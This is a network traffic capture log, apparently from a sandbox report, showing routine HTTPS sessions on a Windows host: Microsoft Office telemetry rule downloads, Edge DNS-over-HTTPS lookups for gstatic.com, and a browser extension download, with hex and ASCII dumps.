2024-10-27 16:54:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 42e95d53-401e-0047-28da-268597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165432Z-17c5cb586f672xmrz843mf85fn00000002pg000000001w6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165432Z-16849878b785dznd7xpawq9gcn000000056g000000008tbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 63249b2a-c01e-0046-2e2c-262db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165432Z-r197bdfb6b48v72xb403uy6hns00000004bg000000005mzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4ecf21c8-401e-002a-0558-26c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165432Z-17c5cb586f6hhlf5mrwgq3erx800000004ug0000000081yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165432Z-16849878b786fl7gm2qg4r5y70000000042g00000000a4u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49838	172.64.41.3	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-27 16:54:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-27 16:54:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d943567a87228b3-DFW alt-svc: h3=":443"; ma=86400
2024-10-27 16:54:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b9 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49839	162.159.61.3	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-27 16:54:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-27 16:54:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d943567bb138d27-DFW alt-svc: h3=":443"; ma=86400
2024-10-27 16:54:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b3 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49841	172.64.41.3	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-27 16:54:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-27 16:54:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 27 Oct 2024 16:54:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d943567c802b789-DFW alt-svc: h3=":443"; ma=86400
2024-10-27 16:54:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 82 00 04 8e fa 8a 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49837	172.217.18.1	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:32 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:33 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1yRQrzOZl89T3CLAl6Xu_E24sgbEn5LWT0tgNWRkXd19F2EwN1A6mmBYfruIDGrAufvP0 X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 26 Oct 2024 20:33:29 GMT Expires: Sun, 26 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 73264 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-27 16:54:33 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-10-27 16:54:33 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
